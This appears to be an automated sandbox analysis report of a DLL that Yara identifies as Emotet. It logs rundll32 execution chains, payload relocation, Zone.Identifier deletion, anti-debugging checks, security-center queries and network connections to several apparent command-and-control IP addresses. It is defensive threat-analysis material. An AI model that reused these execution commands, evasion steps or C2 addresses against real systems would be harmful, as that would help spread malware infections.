Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10010ADE	11_2_10010ADE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001AEEB	11_2_1001AEEB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001A8F0	11_2_1001A8F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_100194F7	11_2_100194F7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10003502	11_2_10003502
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10002309	11_2_10002309
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001FD10	11_2_1001FD10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1000251C	11_2_1000251C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10005923	11_2_10005923
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10006B25	11_2_10006B25
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10016726	11_2_10016726
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1002292B	11_2_1002292B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10021343	11_2_10021343
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10003345	11_2_10003345
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001F14D	11_2_1001F14D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1000C158	11_2_1000C158
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10003F5C	11_2_10003F5C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10011F6B	11_2_10011F6B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001056A	11_2_1001056A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10009384	11_2_10009384
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10014D8D	11_2_10014D8D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10004F8E	11_2_10004F8E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10021193	11_2_10021193
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1000FD91	11_2_1000FD91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001B397	11_2_1001B397
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001D99A	11_2_1001D99A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10019DA1	11_2_10019DA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10012FA2	11_2_10012FA2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_100143B3	11_2_100143B3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10017BB2	11_2_10017BB2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001B1B5	11_2_1001B1B5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_100225C3	11_2_100225C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1000A3DF	11_2_1000A3DF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001BFE8	11_2_1001BFE8

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: String function: 6EFBD020 appears 48 times

Source: pPX9DaPVYj.dll	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: pPX9DaPVYj.dll	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll			Jump to behavior

Source: pPX9DaPVYj.dll	Virustotal: Detection: 17%
Source: pPX9DaPVYj.dll	ReversingLabs: Detection: 17%

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pPX9DaPVYj.dll,Control_RunDLL
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pPX9DaPVYj.dll,Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vjqsuducipqiide\jbquc.oem",sMzvxqlLQp
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vjqsuducipqiide\jbquc.oem",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pPX9DaPVYj.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pPX9DaPVYj.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vjqsuducipqiide\jbquc.oem",sMzvxqlLQp	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Vjqsuducipqiide\jbquc.oem",Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winDLL@28/9@0/22

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 11_2_10011B54 CreateToolhelp32Snapshot,

11_2_10011B54

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pPX9DaPVYj.dll,Control_RunDLL

Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\7ce3e80173264ea19b05306b865eadf9
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4812:120:WilError_01

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: pPX9DaPVYj.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: pPX9DaPVYj.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: pPX9DaPVYj.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: pPX9DaPVYj.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: pPX9DaPVYj.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: pPX9DaPVYj.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: pPX9DaPVYj.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: pPX9DaPVYj.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: pPX9DaPVYj.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: pPX9DaPVYj.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: pPX9DaPVYj.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: pPX9DaPVYj.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: pPX9DaPVYj.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFABAD4 push ebx; iretd	4_2_6EFABADE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFAC7C9 push esi; retf	4_2_6EFAC7D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFA9C81 push eax; retf	4_2_6EFA9C83
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFBD066 push ecx; ret	4_2_6EFBD079
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFACDEB push esp; ret	4_2_6EFACDEC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFA5DD9 push eax; ret	4_2_6EFA5DE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFAAD03 push esi; iretd	4_2_6EFAAD14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFABAD4 push ebx; iretd	5_2_6EFABADE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFAC7C9 push esi; retf	5_2_6EFAC7D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFA9C81 push eax; retf	5_2_6EFA9C83
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFBD066 push ecx; ret	5_2_6EFBD079
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFACDEB push esp; ret	5_2_6EFACDEC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFA5DD9 push eax; ret	5_2_6EFA5DE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFAAD03 push esi; iretd	5_2_6EFAAD14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10016134 push edi; retf 0040h	5_2_10016135
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10001229 push eax; retf	5_2_1000129A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001475A pushfd ; iretd	5_2_1001475B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10001229 push eax; retf	6_2_1000129A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10016134 push edi; retf 0040h	6_2_10016135
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1001475A pushfd ; iretd	6_2_1001475B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10001229 push eax; retf	7_2_1000129A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10016134 push edi; retf 0040h	7_2_10016135
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001475A pushfd ; iretd	7_2_1001475B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10001229 push eax; retf	9_2_1000129A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10016134 push edi; retf 0040h	9_2_10016135
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001475A pushfd ; iretd	9_2_1001475B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10001229 push eax; retf	11_2_1000129A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10016134 push edi; retf 0040h	11_2_10016135
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001475A pushfd ; iretd	11_2_1001475B

Source: pPX9DaPVYj.dll

Static PE information: section name: .flat

Source: pPX9DaPVYj.dll

Static PE information: real checksum: 0x748e8 should be: 0x6f1c8

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Vjqsuducipqiide\jbquc.oem

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Vjqsuducipqiide\jbquc.oem:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Unedamop\kyuonpy.jno:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Windows\System32\svchost.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\svchost.exe TID: 1976	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1976	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5124	Thread sleep time: -120000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFC188A FindFirstFileExW,	4_2_6EFC188A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFC188A FindFirstFileExW,	5_2_6EFC188A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10011A80 FindFirstFileW,	11_2_10011A80

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: svchost.exe, 00000008.00000002.604698069.000001E15FA62000.00000004.00000001.sdmp	Binary or memory string: "@Hyper-V RAW
Source: svchost.exe, 00000008.00000002.604276820.000001E15A229000.00000004.00000001.sdmp, svchost.exe, 00000008.00000002.604674665.000001E15FA4C000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.278901559.00000000031BA000.00000004.00000001.sdmp, rundll32.exe, 0000000B.00000003.328685207.00000000031BC000.00000004.00000001.sdmp, svchost.exe, 00000018.00000002.408537691.000001961DAE7000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000018.00000002.408420499.000001961DA6F000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000D.00000002.777972901.0000025622041000.00000004.00000001.sdmp, svchost.exe, 0000000E.00000002.777791842.0000020FCF829000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6EFBCEA2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_6EFBCEA2

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6EFBC280 GetProcessHeap,HeapFree,

4_2_6EFBC280

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFC14AE mov eax, dword ptr fs:[00000030h]	4_2_6EFC14AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFBF416 mov eax, dword ptr fs:[00000030h]	4_2_6EFBF416
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFC14AE mov eax, dword ptr fs:[00000030h]	5_2_6EFC14AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFBF416 mov eax, dword ptr fs:[00000030h]	5_2_6EFBF416
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001DE10 mov eax, dword ptr fs:[00000030h]	5_2_1001DE10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1001DE10 mov eax, dword ptr fs:[00000030h]	6_2_1001DE10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001DE10 mov eax, dword ptr fs:[00000030h]	7_2_1001DE10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_1001DE10 mov eax, dword ptr fs:[00000030h]	9_2_1001DE10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_1001DE10 mov eax, dword ptr fs:[00000030h]	11_2_1001DE10

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFBCEA2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6EFBCEA2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFBC66F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6EFBC66F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6EFBFF39 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6EFBFF39
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFBCEA2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_6EFBCEA2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFBC66F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_6EFBC66F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_6EFBFF39 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_6EFBFF39

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 196.44.98.190 144	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.79.33.48 144	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 168.197.250.14 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 51.178.61.60 187	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 177.72.80.14 168	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\pPX9DaPVYj.dll",#1			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pPX9DaPVYj.dll,Control_RunDLL			Jump to behavior

Source: rundll32.exe, 0000000B.00000002.779578622.00000000036A0000.00000002.00020000.sdmp	Binary or memory string: uProgram Manager
Source: rundll32.exe, 0000000B.00000002.779578622.00000000036A0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 0000000B.00000002.779578622.00000000036A0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 0000000B.00000002.779578622.00000000036A0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6EFBD07B cpuid

4_2_6EFBD07B

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6EFBCAD3 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_6EFBCAD3

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 00000011.00000002.777866733.000001FDB4902000.00000004.00000001.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 11.3.rundll32.exe.3186e08.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2aa6d88.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.3146c98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.28b6cb8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.3186e08.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2aa6d88.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.3.rundll32.exe.3146c98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.28b6cb8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.3146c98.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.rundll32.exe.3186e08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2eb6e00.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.3146c98.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.3.rundll32.exe.3186e08.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.28b6cb8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.3186e08.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.2eb6e00.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.259345300.00000000028B6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.778948976.0000000003173000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.261741914.000000000310A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.258654572.0000000002AA6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.257305049.0000000003146000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.513585241.0000000003173000.00000004.00000001.sdmp, type: MEMORY
